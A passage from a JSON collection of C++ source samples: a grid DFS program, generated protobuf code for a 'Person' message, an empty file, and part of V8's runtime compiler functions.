graph[r][c] = 'X';\n    }\n    if(r>0){\n        if(dfs(graph, r-1, c))\n            return true;\n    }\n    if(c>0){\n        if(dfs(graph, r, c-1))\n            return true;\n    }\n    if(r<(n-1)){\n        if(dfs(graph, r+1, c))\n            return true;\n    }\n    if(c<(m-1)){\n        if(dfs(graph, r, c+1))\n            return true;\n    }\n    return false;\n}\n\nstruct point{\n    int r,c;\n    point(int rr, int cc){\n        r = rr;\n        c = cc;\n    }\n};\n\nstack<point> st;\n\n// if(r>0){\n//     if(dfs(graph, r-1, c))\n//         return true;\n// }\n// if(c>0){\n//     if(dfs(graph, r, c-1))\n//         return true;\n// }\n// if(r<(n-1)){\n//     if(dfs(graph, r+1, c))\n//         return true;\n// }\n// if(c<(m-1)){\n//     if(dfs(graph, r, c+1))\n//         return true;\n// }\n\nbool search(vector<string> graph, int rr, int cc){\n    point t;\n    t.r=rr;\n    t.c=cc;\n    st.push(t);\n\n    while(!st.empty()){\n        point u = st.top();\n        st.pop();\n        int r = u.r, c = u.c;\n        cout<<r<<\" \"<<c<<endl;\n        if(graph[r][c]=='X'){\n            if(r==r2 && c==c2)\n                return true;\n            return false;\n        }\n        else{\n            graph[r][c] = 'X';\n        }\n        if(r>0){\n            t.r=r-1;\n            t.c=c;\n            st.push(t);\n        }\n        if(c>0){\n            t.r=r;\n            t.c=c-1;\n            st.push(t);\n        }\n        if(r<(n-1)){\n            t.r=r+1;\n            t.c=c;\n            st.push(t);\n        }\n        if(c<(m-1)){\n            t.r=r;\n            t.c=c+1;\n            st.push(t);\n        }\n    }\n    return false;\n}\n\nint main(){\n    ios::sync_with_stdio(false);\n    #ifdef DEBUG\n    freopen(\"input.txt\", \"r\", stdin);\n    #endif // DEBUG\n\n    cin>>n>>m;\n    string temp;\n    vector<string> graph;\n    for(int i=0;i<n;i++){\n        cin>>temp;\n        graph.pb(temp);\n    }\n    int r1,c1;\n    cin>>r1>>c1;\n    cin>>r2>>c2;\n    r2--;\n    c2--;\n    r1--;\n    c1--;\n    graph[r1][c1] = '.';\n    if(search(graph, r1, c1))\n        cout<<\"YES\\n\";\n    else\n        cout<<\"NO\\n\";\n\n    return 0;\n}\n"
  },
  {
    "path": "samples/C++/protocol-buffer.pb.cc",
    "content": "// Generated by the protocol buffer compiler.  DO NOT EDIT!\n// source: protocol-buffer.proto\n\n#define INTERNAL_SUPPRESS_PROTOBUF_FIELD_DEPRECATION\n#include \"protocol-buffer.pb.h\"\n\n#include <algorithm>\n\n#include <google/protobuf/stubs/common.h>\n#include <google/protobuf/stubs/once.h>\n#include <google/protobuf/io/coded_stream.h>\n#include <google/protobuf/wire_format_lite_inl.h>\n#include <google/protobuf/descriptor.h>\n#include <google/protobuf/generated_message_reflection.h>\n#include <google/protobuf/reflection_ops.h>\n#include <google/protobuf/wire_format.h>\n// @@protoc_insertion_point(includes)\n\nnamespace persons {\n\nnamespace {\n\nconst ::google::protobuf::Descriptor* Person_descriptor_ = NULL;\nconst ::google::protobuf::internal::GeneratedMessageReflection*\n  Person_reflection_ = NULL;\n\n}  // namespace\n\n\nvoid protobuf_AssignDesc_protocol_2dbuffer_2eproto() {\n  protobuf_AddDesc_protocol_2dbuffer_2eproto();\n  const ::google::protobuf::FileDescriptor* file =\n    ::google::protobuf::DescriptorPool::generated_pool()->FindFileByName(\n      \"protocol-buffer.proto\");\n  GOOGLE_CHECK(file != NULL);\n  Person_descriptor_ = file->message_type(0);\n  static const int Person_offsets_[1] = {\n    GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(Person, name_),\n  };\n  Person_reflection_ =\n    new ::google::protobuf::internal::GeneratedMessageReflection(\n      Person_descriptor_,\n      Person::default_instance_,\n      Person_offsets_,\n      GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(Person, _has_bits_[0]),\n      GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(Person, _unknown_fields_),\n      -1,\n      ::google::protobuf::DescriptorPool::generated_pool(),\n      ::google::protobuf::MessageFactory::generated_factory(),\n      sizeof(Person));\n}\n\nnamespace {\n\nGOOGLE_PROTOBUF_DECLARE_ONCE(protobuf_AssignDescriptors_once_);\ninline void protobuf_AssignDescriptorsOnce() {\n  ::google::protobuf::GoogleOnceInit(&protobuf_AssignDescriptors_once_,\n                 &protobuf_AssignDesc_protocol_2dbuffer_2eproto);\n}\n\nvoid protobuf_RegisterTypes(const ::std::string&) {\n  protobuf_AssignDescriptorsOnce();\n  ::google::protobuf::MessageFactory::InternalRegisterGeneratedMessage(\n    Person_descriptor_, &Person::default_instance());\n}\n\n}  // namespace\n\nvoid protobuf_ShutdownFile_protocol_2dbuffer_2eproto() {\n  delete Person::default_instance_;\n  delete Person_reflection_;\n}\n\nvoid protobuf_AddDesc_protocol_2dbuffer_2eproto() {\n  static bool already_here = false;\n  if (already_here) return;\n  already_here = true;\n  GOOGLE_PROTOBUF_VERIFY_VERSION;\n\n  ::google::protobuf::DescriptorPool::InternalAddGeneratedFile(\n    \"\\n\\025protocol-buffer.proto\\022\\007persons\\\"\\026\\n\\006Pers\"\n    \"on\\022\\014\\n\\004name\\030\\001 \\002(\\t\", 56);\n  ::google::protobuf::MessageFactory::InternalRegisterGeneratedFile(\n    \"protocol-buffer.proto\", &protobuf_RegisterTypes);\n  Person::default_instance_ = new Person();\n  Person::default_instance_->InitAsDefaultInstance();\n  ::google::protobuf::internal::OnShutdown(&protobuf_ShutdownFile_protocol_2dbuffer_2eproto);\n}\n\n// Force AddDescriptors() to be called at static initialization time.\nstruct StaticDescriptorInitializer_protocol_2dbuffer_2eproto {\n  StaticDescriptorInitializer_protocol_2dbuffer_2eproto() {\n    protobuf_AddDesc_protocol_2dbuffer_2eproto();\n  }\n} static_descriptor_initializer_protocol_2dbuffer_2eproto_;\n\n// ===================================================================\n\n#ifndef _MSC_VER\nconst int Person::kNameFieldNumber;\n#endif  // !_MSC_VER\n\nPerson::Person()\n  : ::google::protobuf::Message() {\n  SharedCtor();\n}\n\nvoid Person::InitAsDefaultInstance() {\n}\n\nPerson::Person(const Person& from)\n  : ::google::protobuf::Message() {\n  SharedCtor();\n  MergeFrom(from);\n}\n\nvoid Person::SharedCtor() {\n  _cached_size_ = 0;\n  name_ = const_cast< ::std::string*>(&::google::protobuf::internal::kEmptyString);\n  ::memset(_has_bits_, 0, sizeof(_has_bits_));\n}\n\nPerson::~Person() {\n  SharedDtor();\n}\n\nvoid Person::SharedDtor() {\n  if (name_ != &::google::protobuf::internal::kEmptyString) {\n    delete name_;\n  }\n  if (this != default_instance_) {\n  }\n}\n\nvoid Person::SetCachedSize(int size) const {\n  GOOGLE_SAFE_CONCURRENT_WRITES_BEGIN();\n  _cached_size_ = size;\n  GOOGLE_SAFE_CONCURRENT_WRITES_END();\n}\nconst ::google::protobuf::Descriptor* Person::descriptor() {\n  protobuf_AssignDescriptorsOnce();\n  return Person_descriptor_;\n}\n\nconst Person& Person::default_instance() {\n  if (default_instance_ == NULL) protobuf_AddDesc_protocol_2dbuffer_2eproto();\n  return *default_instance_;\n}\n\nPerson* Person::default_instance_ = NULL;\n\nPerson* Person::New() const {\n  return new Person;\n}\n\nvoid Person::Clear() {\n  if (_has_bits_[0 / 32] & (0xffu << (0 % 32))) {\n    if (has_name()) {\n      if (name_ != &::google::protobuf::internal::kEmptyString) {\n        name_->clear();\n      }\n    }\n  }\n  ::memset(_has_bits_, 0, sizeof(_has_bits_));\n  mutable_unknown_fields()->Clear();\n}\n\nbool Person::MergePartialFromCodedStream(\n    ::google::protobuf::io::CodedInputStream* input) {\n#define DO_(EXPRESSION) if (!(EXPRESSION)) return false\n  ::google::protobuf::uint32 tag;\n  while ((tag = input->ReadTag()) != 0) {\n    switch (::google::protobuf::internal::WireFormatLite::GetTagFieldNumber(tag)) {\n      // required string name = 1;\n      case 1: {\n        if (::google::protobuf::internal::WireFormatLite::GetTagWireType(tag) ==\n            ::google::protobuf::internal::WireFormatLite::WIRETYPE_LENGTH_DELIMITED) {\n          DO_(::google::protobuf::internal::WireFormatLite::ReadString(\n                input, this->mutable_name()));\n          ::google::protobuf::internal::WireFormat::VerifyUTF8String(\n            this->name().data(), this->name().length(),\n            ::google::protobuf::internal::WireFormat::PARSE);\n        } else {\n          goto handle_uninterpreted;\n        }\n        if (input->ExpectAtEnd()) return true;\n        break;\n      }\n\n      default: {\n      handle_uninterpreted:\n        if (::google::protobuf::internal::WireFormatLite::GetTagWireType(tag) ==\n            ::google::protobuf::internal::WireFormatLite::WIRETYPE_END_GROUP) {\n          return true;\n        }\n        DO_(::google::protobuf::internal::WireFormat::SkipField(\n              input, tag, mutable_unknown_fields()));\n        break;\n      }\n    }\n  }\n  return true;\n#undef DO_\n}\n\nvoid Person::SerializeWithCachedSizes(\n    ::google::protobuf::io::CodedOutputStream* output) const {\n  // required string name = 1;\n  if (has_name()) {\n    ::google::protobuf::internal::WireFormat::VerifyUTF8String(\n      this->name().data(), this->name().length(),\n      ::google::protobuf::internal::WireFormat::SERIALIZE);\n    ::google::protobuf::internal::WireFormatLite::WriteString(\n      1, this->name(), output);\n  }\n\n  if (!unknown_fields().empty()) {\n    ::google::protobuf::internal::WireFormat::SerializeUnknownFields(\n        unknown_fields(), output);\n  }\n}\n\n::google::protobuf::uint8* Person::SerializeWithCachedSizesToArray(\n    ::google::protobuf::uint8* target) const {\n  // required string name = 1;\n  if (has_name()) {\n    ::google::protobuf::internal::WireFormat::VerifyUTF8String(\n      this->name().data(), this->name().length(),\n      ::google::protobuf::internal::WireFormat::SERIALIZE);\n    target =\n      ::google::protobuf::internal::WireFormatLite::WriteStringToArray(\n        1, this->name(), target);\n  }\n\n  if (!unknown_fields().empty()) {\n    target = ::google::protobuf::internal::WireFormat::SerializeUnknownFieldsToArray(\n        unknown_fields(), target);\n  }\n  return target;\n}\n\nint Person::ByteSize() const {\n  int total_size = 0;\n\n  if (_has_bits_[0 / 32] & (0xffu << (0 % 32))) {\n    // required string name = 1;\n    if (has_name()) {\n      total_size += 1 +\n        ::google::protobuf::internal::WireFormatLite::StringSize(\n          this->name());\n    }\n\n  }\n  if (!unknown_fields().empty()) {\n    total_size +=\n      ::google::protobuf::internal::WireFormat::ComputeUnknownFieldsSize(\n        unknown_fields());\n  }\n  GOOGLE_SAFE_CONCURRENT_WRITES_BEGIN();\n  _cached_size_ = total_size;\n  GOOGLE_SAFE_CONCURRENT_WRITES_END();\n  return total_size;\n}\n\nvoid Person::MergeFrom(const ::google::protobuf::Message& from) {\n  GOOGLE_CHECK_NE(&from, this);\n  const Person* source =\n    ::google::protobuf::internal::dynamic_cast_if_available<const Person*>(\n      &from);\n  if (source == NULL) {\n    ::google::protobuf::internal::ReflectionOps::Merge(from, this);\n  } else {\n    MergeFrom(*source);\n  }\n}\n\nvoid Person::MergeFrom(const Person& from) {\n  GOOGLE_CHECK_NE(&from, this);\n  if (from._has_bits_[0 / 32] & (0xffu << (0 % 32))) {\n    if (from.has_name()) {\n      set_name(from.name());\n    }\n  }\n  mutable_unknown_fields()->MergeFrom(from.unknown_fields());\n}\n\nvoid Person::CopyFrom(const ::google::protobuf::Message& from) {\n  if (&from == this) return;\n  Clear();\n  MergeFrom(from);\n}\n\nvoid Person::CopyFrom(const Person& from) {\n  if (&from == this) return;\n  Clear();\n  MergeFrom(from);\n}\n\nbool Person::IsInitialized() const {\n  if ((_has_bits_[0] & 0x00000001) != 0x00000001) return false;\n\n  return true;\n}\n\nvoid Person::Swap(Person* other) {\n  if (other != this) {\n    std::swap(name_, other->name_);\n    std::swap(_has_bits_[0], other->_has_bits_[0]);\n    _unknown_fields_.Swap(&other->_unknown_fields_);\n    std::swap(_cached_size_, other->_cached_size_);\n  }\n}\n\n::google::protobuf::Metadata Person::GetMetadata() const {\n  protobuf_AssignDescriptorsOnce();\n  ::google::protobuf::Metadata metadata;\n  metadata.descriptor = Person_descriptor_;\n  metadata.reflection = Person_reflection_;\n  return metadata;\n}\n\n\n// @@protoc_insertion_point(namespace_scope)\n\n}  // namespace persons\n\n// @@protoc_insertion_point(global_scope)\n"
  },
  {
    "path": "samples/C++/protocol-buffer.pb.h",
    "content": "// Generated by the protocol buffer compiler.  DO NOT EDIT!\n// source: protocol-buffer.proto\n\n#ifndef PROTOBUF_protocol_2dbuffer_2eproto__INCLUDED\n#define PROTOBUF_protocol_2dbuffer_2eproto__INCLUDED\n\n#include <string>\n\n#include <google/protobuf/stubs/common.h>\n\n#if GOOGLE_PROTOBUF_VERSION < 2005000\n#error This file was generated by a newer version of protoc which is\n#error incompatible with your Protocol Buffer headers.  Please update\n#error your headers.\n#endif\n#if 2005000 < GOOGLE_PROTOBUF_MIN_PROTOC_VERSION\n#error This file was generated by an older version of protoc which is\n#error incompatible with your Protocol Buffer headers.  Please\n#error regenerate this file with a newer version of protoc.\n#endif\n\n#include <google/protobuf/generated_message_util.h>\n#include <google/protobuf/message.h>\n#include <google/protobuf/repeated_field.h>\n#include <google/protobuf/extension_set.h>\n#include <google/protobuf/unknown_field_set.h>\n// @@protoc_insertion_point(includes)\n\nnamespace persons {\n\n// Internal implementation detail -- do not call these.\nvoid  protobuf_AddDesc_protocol_2dbuffer_2eproto();\nvoid protobuf_AssignDesc_protocol_2dbuffer_2eproto();\nvoid protobuf_ShutdownFile_protocol_2dbuffer_2eproto();\n\nclass Person;\n\n// ===================================================================\n\nclass Person : public ::google::protobuf::Message {\n public:\n  Person();\n  virtual ~Person();\n\n  Person(const Person& from);\n\n  inline Person& operator=(const Person& from) {\n    CopyFrom(from);\n    return *this;\n  }\n\n  inline const ::google::protobuf::UnknownFieldSet& unknown_fields() const {\n    return _unknown_fields_;\n  }\n\n  inline ::google::protobuf::UnknownFieldSet* mutable_unknown_fields() {\n    return &_unknown_fields_;\n  }\n\n  static const ::google::protobuf::Descriptor* descriptor();\n  static const Person& default_instance();\n\n  void Swap(Person* other);\n\n  // implements Message ----------------------------------------------\n\n  Person* New() const;\n  void CopyFrom(const ::google::protobuf::Message& from);\n  void MergeFrom(const ::google::protobuf::Message& from);\n  void CopyFrom(const Person& from);\n  void MergeFrom(const Person& from);\n  void Clear();\n  bool IsInitialized() const;\n\n  int ByteSize() const;\n  bool MergePartialFromCodedStream(\n      ::google::protobuf::io::CodedInputStream* input);\n  void SerializeWithCachedSizes(\n      ::google::protobuf::io::CodedOutputStream* output) const;\n  ::google::protobuf::uint8* SerializeWithCachedSizesToArray(::google::protobuf::uint8* output) const;\n  int GetCachedSize() const { return _cached_size_; }\n  private:\n  void SharedCtor();\n  void SharedDtor();\n  void SetCachedSize(int size) const;\n  public:\n\n  ::google::protobuf::Metadata GetMetadata() const;\n\n  // nested types ----------------------------------------------------\n\n  // accessors -------------------------------------------------------\n\n  // required string name = 1;\n  inline bool has_name() const;\n  inline void clear_name();\n  static const int kNameFieldNumber = 1;\n  inline const ::std::string& name() const;\n  inline void set_name(const ::std::string& value);\n  inline void set_name(const char* value);\n  inline void set_name(const char* value, size_t size);\n  inline ::std::string* mutable_name();\n  inline ::std::string* release_name();\n  inline void set_allocated_name(::std::string* name);\n\n  // @@protoc_insertion_point(class_scope:persons.Person)\n private:\n  inline void set_has_name();\n  inline void clear_has_name();\n\n  ::google::protobuf::UnknownFieldSet _unknown_fields_;\n\n  ::std::string* name_;\n\n  mutable int _cached_size_;\n  ::google::protobuf::uint32 _has_bits_[(1 + 31) / 32];\n\n  friend void  protobuf_AddDesc_protocol_2dbuffer_2eproto();\n  friend void protobuf_AssignDesc_protocol_2dbuffer_2eproto();\n  friend void protobuf_ShutdownFile_protocol_2dbuffer_2eproto();\n\n  void InitAsDefaultInstance();\n  static Person* default_instance_;\n};\n// ===================================================================\n\n\n// ===================================================================\n\n// Person\n\n// required string name = 1;\ninline bool Person::has_name() const {\n  return (_has_bits_[0] & 0x00000001u) != 0;\n}\ninline void Person::set_has_name() {\n  _has_bits_[0] |= 0x00000001u;\n}\ninline void Person::clear_has_name() {\n  _has_bits_[0] &= ~0x00000001u;\n}\ninline void Person::clear_name() {\n  if (name_ != &::google::protobuf::internal::kEmptyString) {\n    name_->clear();\n  }\n  clear_has_name();\n}\ninline const ::std::string& Person::name() const {\n  return *name_;\n}\ninline void Person::set_name(const ::std::string& value) {\n  set_has_name();\n  if (name_ == &::google::protobuf::internal::kEmptyString) {\n    name_ = new ::std::string;\n  }\n  name_->assign(value);\n}\ninline void Person::set_name(const char* value) {\n  set_has_name();\n  if (name_ == &::google::protobuf::internal::kEmptyString) {\n    name_ = new ::std::string;\n  }\n  name_->assign(value);\n}\ninline void Person::set_name(const char* value, size_t size) {\n  set_has_name();\n  if (name_ == &::google::protobuf::internal::kEmptyString) {\n    name_ = new ::std::string;\n  }\n  name_->assign(reinterpret_cast<const char*>(value), size);\n}\ninline ::std::string* Person::mutable_name() {\n  set_has_name();\n  if (name_ == &::google::protobuf::internal::kEmptyString) {\n    name_ = new ::std::string;\n  }\n  return name_;\n}\ninline ::std::string* Person::release_name() {\n  clear_has_name();\n  if (name_ == &::google::protobuf::internal::kEmptyString) {\n    return NULL;\n  } else {\n    ::std::string* temp = name_;\n    name_ = const_cast< ::std::string*>(&::google::protobuf::internal::kEmptyString);\n    return temp;\n  }\n}\ninline void Person::set_allocated_name(::std::string* name) {\n  if (name_ != &::google::protobuf::internal::kEmptyString) {\n    delete name_;\n  }\n  if (name) {\n    set_has_name();\n    name_ = name;\n  } else {\n    clear_has_name();\n    name_ = const_cast< ::std::string*>(&::google::protobuf::internal::kEmptyString);\n  }\n}\n\n\n// @@protoc_insertion_point(namespace_scope)\n\n}  // namespace persons\n\n#ifndef SWIG\nnamespace google {\nnamespace protobuf {\n\n\n}  // namespace google\n}  // namespace protobuf\n#endif  // SWIG\n\n// @@protoc_insertion_point(global_scope)\n\n#endif  // PROTOBUF_protocol_2dbuffer_2eproto__INCLUDED\n"
  },
  {
    "path": "samples/C++/render_adapter.cpp",
    "content": "#include <cstdint>\r\n\r\nnamespace Gui\r\n{\r\n\r\n}\r\n"
  },
  {
    "path": "samples/C++/runtime-compiler.cc",
    "content": "// Copyright 2014 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"src/runtime/runtime-utils.h\"\n\n#include \"src/arguments.h\"\n#include \"src/compiler.h\"\n#include \"src/deoptimizer.h\"\n#include \"src/frames-inl.h\"\n#include \"src/full-codegen/full-codegen.h\"\n#include \"src/isolate-inl.h\"\n#include \"src/messages.h\"\n#include \"src/v8threads.h\"\n#include \"src/vm-state-inl.h\"\n\nnamespace v8 {\nnamespace internal {\n\nRUNTIME_FUNCTION(Runtime_CompileLazy) {\n\tHandleScope scope(isolate);\n\tDCHECK_EQ(1, args.length());\n\tCONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);\n\n#ifdef DEBUG\n\tif (FLAG_trace_lazy && !function->shared()->is_compiled()) {\n\t\tPrintF(\"[unoptimized: \");\n\t\tfunction->PrintName();\n\t\tPrintF(\"]\\n\");\n\t}\n#endif\n\n\tStackLimitCheck check(isolate);\n\tif (check.JsHasOverflowed(1 * KB)) return isolate->StackOverflow();\n\tif (!Compiler::Compile(function, Compiler::KEEP_EXCEPTION)) {\n\t\treturn isolate->heap()->exception();\n\t}\n\tDCHECK(function->is_compiled());\n\treturn function->code();\n}\n\nRUNTIME_FUNCTION(Runtime_CompileBaseline) {\n\tHandleScope scope(isolate);\n\tDCHECK_EQ(1, args.length());\n\tCONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);\n\tStackLimitCheck check(isolate);\n\tif (check.JsHasOverflowed(1 * KB)) return isolate->StackOverflow();\n\tif (!Compiler::CompileBaseline(function)) {\n\t\treturn isolate->heap()->exception();\n\t}\n\tDCHECK(function->is_compiled());\n\treturn function->code();\n}\n\nRUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {\n\tHandleScope scope(isolate);\n\tDCHECK_EQ(1, args.length());\n\tCONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);\n\tStackLimitCheck check(isolate);\n\tif (check.JsHasOverflowed(1 * KB)) return isolate->StackOverflow();\n\tif (!Compiler::CompileOptimized(function, Compiler::CONCURRENT)) {\n\t\treturn isolate->heap()->exception();\n\t}\n\tDCHECK(function->is_compiled());\n\treturn function->code();\n}\n\n\nRUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {\n\tHandleScope scope(isolate);\n\tDCHECK_EQ(1, args.length());\n\tCONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);\n\tStackLimitCheck check(isolate);\n\tif (check.JsHasOverflowed(1 * KB)) return isolate->StackOverflow();\n\tif (!Compiler::CompileOptimized(function, Compiler::NOT_CONCURRENT)) {\n\t\treturn isolate->heap()->exception();\n\t}\n\tDCHECK(function->is_compiled());\n\treturn function->code();\n}\n\n\nRUNTIME_FUNCTION(Runtime_NotifyStubFailure) {\n\tHandleScope scope(isolate);\n\tDCHECK(args.length() == 0);\n\tDeoptimizer* deoptimizer = Deoptimizer::Grab(isolate);\n\tDCHECK(AllowHeapAllocation::IsAllowed());\n\tdelete deoptimizer;\n\treturn isolate->heap()->undefined_value();\n}\n\n\nclass ActivationsFinder : public ThreadVisitor {\npublic:\n\tCode* code_;\n\tbool has_code_activations_;\n\n\texplicit ActivationsFinder(Code* code)\n\t\t: code_(code), has_code_activations_(false) {}\n\n\tvoid VisitThread(Isolate* isolate, ThreadLocalTop* top) {\n\t\tJavaScriptFrameIterator it(isolate, top);\n\t\tVisitFrames(&it);\n\t}\n\n\tvoid VisitFrames(JavaScriptFrameIterator* it) {\n\t\tfor (; !it->done(); it->Advance()) {\n\t\t\tJavaScriptFrame* frame = it->frame();\n\t\t\tif (code_->contains(frame->pc())) has_code_activations_ = true;\n\t\t}\n\t}\n};\n\n\nRUNTIME_FUNCTION(Runtime_NotifyDeoptimized) {\n\tHandleScope scope(isolate);\n\tDCHECK(args.length() == 1);\n\tCONVERT_SMI_ARG_CHECKED(type_arg, 0);\n\tDeoptimizer::BailoutType type =\n\t\tstatic_cast<Deoptimizer::BailoutType>(type_arg);\n\tDeoptimizer* deoptimizer = Deoptimizer::Grab(isolate);\n\tDCHECK(AllowHeapAllocation::IsAllowed());\n\tTimerEventScope<TimerEventDeoptimizeCode> timer(isolate);\n\tTRACE_EVENT0(\"v8\", \"V8.DeoptimizeCode\");\n\n\tHandle<JSFunction> function = deoptimizer->function();\n\tHandle<Code> optimized_code = deoptimizer->compiled_code();\n\n\tDCHECK(optimized_code->kind() == Code::OPTIMIZED_FUNCTION);\n\tDCHECK(type == deoptimizer->bailout_type());\n\n\t// Make sure to materialize objects before causing any allocation.\n\tJavaScriptFrameIterator it(isolate);\n\tdeoptimizer->MaterializeHeapObjects(&it);\n\tdelete deoptimizer;\n\n\t// Ensure the context register is updated for materialized objects.\n\tJavaScriptFrameIterator top_it(isolate);\n\tJavaScriptFrame* top_frame = top_it.frame();\n\tisolate->set_context(Context::cast(top_frame->context()));\n\n\tif (type == Deoptimizer::LAZY) {\n\t\treturn isolate->heap()->undefined_value();\n\t}\n\n\t// Search for other activations of the same optimized code.\n\t// At this point {it} is at the topmost frame of all the frames materialized\n\t// by the deoptimizer. Note that this frame does not necessarily represent\n\t// an activation of {function} because of potential inlined tail-calls.\n\tActivationsFinder activations_finder(*optimized_code);\n\tactivations_finder.VisitFrames(&it);\n\tisolate->thread_manager()->IterateArchivedThreads(&activations_finder);\n\n\tif (!activations_finder.has_code_activations_) {\n\t\tif (function->code() == *optimized_code) {\n\t\t\tif (FLAG_trace_deopt) {\n\t\t\t\tPrintF(\"[removing optimized code for: \");\n\t\t\t\tfunction->PrintName();\n\t\t\t\tPrintF(\"]\\n\");\n\t\t\t}\n\t\t\tfunction->ReplaceCode(function->shared()->code());\n\t\t}\n\t\t// Evict optimized code for this function from the cache so that it\n\t\t// doesn't get used for new closures.\n\t\tfunction->shared()->EvictFromOptimizedCodeMap(*optimized_code, \"notify deoptimized\");\n\t} else {\n\t\t// TODO(titzer): we should probably do DeoptimizeCodeList(code)\n\t\t// unconditionally if the code is not already marked for deoptimization.\n\t\t// If there is an index by shared function info, all the better.\n\t\tDeoptimizer::DeoptimizeFunction(*function);\n\t}\n\n\treturn isolate->heap()->undefined_value();\n}\n\n\nstatic bool IsSuitableForOnStackReplacement(\n\tIsolate* isolate,\n\tHandle<JSFunction> function\n) {\n\t// Keep track of whether we've succeeded in optimizing.\n\tif (function->shared()->optimization_disabled()) return false;\n\t// If we are trying to do OSR when there are already optimized\n\t// activations of the function, it means (a) the function is directly or\n\t// indirectly recursive and (b) an optimized invocation has been\n\t// deoptimized so that we are currently in an unoptimized activation.\n\t// Check for optimized activations of this function.\n\tfor (JavaScriptFrameIterator it(isolate); !it.done(); it.Advance()) {\n\t\tJavaScriptFrame* frame = it.frame();\n\t\tif (frame->is_optimized() && frame->function() == *function) return false;\n\t}\n\n\treturn true;\n}\n\n\nRUNTIME_FUNCTION(Runtime_CompileForOnStackReplacement) {\n\tHandleScope scope(isolate);\n\tDCHECK(args.length() == 1);\n\tCONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);\n\tHandle<Code> caller_code(function->shared()->code());\n\n\t// We're not prepared to handle a function with arguments object.\n\tDCHECK(!function->shared()->uses_arguments());\n\n\tRUNTIME_ASSERT(FLAG_use_osr);\n\n\t// Passing the PC in the javascript frame from the caller directly is\n\t// not GC safe, so we walk the stack to get it.\n\tJavaScriptFrameIterator it(isolate);\n\tJavaScriptFrame* frame = it.frame();\n\tif (!caller_code->contains(frame->pc())) {\n\t\t// Code on the stack may not be the code object referenced by the shared\n\t\t// function info.\tIt may have been replaced to include deoptimization data.\n\t\tcaller_code = Handle<Code>(frame->LookupCode());\n\t}\n\n\tuint32_t pc_offset =\n\t\tstatic_cast<uint32_t>(frame->pc() - caller_code->instruction_start());\n\n#ifdef DEBUG\n\tDCHECK_EQ(frame->function(), *function);\n\tDCHECK_EQ(frame->LookupCode(), *caller_code);\n\tDCHECK(caller_code->contains(frame->pc()));\n#endif\t// DEBUG\n\n\tBailoutId ast_id = caller_code->TranslatePcOffsetToAstId(pc_offset);\n\tDCHECK(!ast_id.IsNone());\n\n\tMaybeHandle<Code> maybe_result;\n\tif (IsSuitableForOnStackReplacement(isolate, function)) {\n\t\tif (FLAG_trace_osr) {\n\t\t\tPrintF(\"[OSR - Compiling: \");\n\t\t\tfunction->PrintName();\n\t\t\tPrintF(\" at -*- scheme -*- %d]\\n\", ast_id.ToInt());\n\t\t}\n\t\tmaybe_result = Compiler::GetOptimizedCodeForOSR(function, ast_id, frame);\n\t}\n\n\t// Revert the patched back edge table, regardless of whether OSR succeeds.\n\tBackEdgeTable::Revert(isolate, *caller_code);\n\n\t// Check whether we ended up with usable optimized code.\n\tHandle<Code> result;\n\tif (maybe_result.ToHandle(&result)\n\t&& result->kind() == Code::OPTIMIZED_FUNCTION) {\n\t\tDeoptimizationInputData* data =\n\t\t\tDeoptimizationInputData::cast(result->deoptimization_data());\n\t\t\n\t\tif (data->OsrPcOffset()->value() >= 0) {\n\t\t\tDCHECK(BailoutId(data->OsrAstId()->value()) == ast_id);\n\t\t\tif (FLAG_trace_osr) {\n\t\t\t\tPrintF(\"[OSR - Entry at AST id %d, offset %d in optimized code]\\n\",\n\t\t\t\t\tast_id.ToInt(), data->OsrPcOffset()->value());\n\t\t\t}\n\t\t\t// TODO(titzer): this is a massive hack to make the deopt counts\n\t\t\t// match. Fix heuristics for reenabling optimizations!\n\t\t\tfunction->shared()->increment_deopt_count();\n\n\t\t\tif (result->is_turbofanned()) {\n\t\t\t\t// TurboFanned OSR code cannot be installed into the function.\n\t\t\t\t// But the function is obviously hot, so optimize it next time.\n\t\t\t\tfunction->ReplaceCode(\n\t\t\t\t\tisolate->builtins()->builtin(Builtins::kCompileOptimized));\n\t\t\t} else {\n\t\t\t\t// Crankshafted OSR code can be installed into the function.\n\t\t\t\tfunction->ReplaceCode(*result);\n\t\t\t}\n\t\t\treturn *result;\n\t\t}\n\t}\n\n\t// Failed.\n\tif (FLAG_trace_osr) {\n\t\tPrintF(\"[OSR - Failed: \");\n\t\tfunction->PrintName();\n\t\tPrintF(\" at AST id %d]\\n\", ast_id.ToInt());\n\t}\n\n\tif (!function->IsOptimized()) {\n\t\tfunction->ReplaceCode(function->shared()->code());\n\t}\n\treturn NULL;\n}\n\n\nRUNTIME_FUNCTION(Runtime_TryInstallOptimizedCode) {\n\tHandleScope scope(isolate);\n\tDCHECK(args.length() == 1);\n\tCONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);\n\n\t// First check if this is a real stack overflow.\n\tStackLimitCheck check(isolate);\n\tif (check.JsHasOverflowed()) {\n\t\tSealHandleScope shs(isolate);\n\t\treturn isolate->StackOverflow();\n\t}\n\n\tisolate->optimizing_compile_dispatcher()->InstallOptimizedFunctions();\n\treturn (function->IsOptimized())\n\t\t? function->code()\n\t\t: function->shared()->code();\n}\n\n\nbool CodeGenerationFromStringsAllowed(\n\tIsolate* isolate,\n\tHandle<Context> context\n){\n\tDCHECK(context->allow_code_gen_from_strings()->IsFalse());\n\t// Check with callback if set.\n\tAllowCodeGenerationFromStringsCallback callback =\n\t\t\tisolate->allow_code_gen_callback();\n\tif (callback == NULL) {\n\t\t// No callback set and code generation disallowed.\n\t\treturn false;\n\t} else {\n\t\t// Callback set. Let it decide if code generation is allowed.\n\t\tVMState<EXTERNAL> state(isolate);\n\t\treturn callback(v8::Utils::ToLocal(context));\n\t}\n}\n\nstatic Object* CompileGlobalEval(\n\tIsolate* isolate,\n\tHandle<String> source,\n\tHandle<SharedFunctionInfo> outer_info,\n\tLanguageMode language_mode,\n\tint 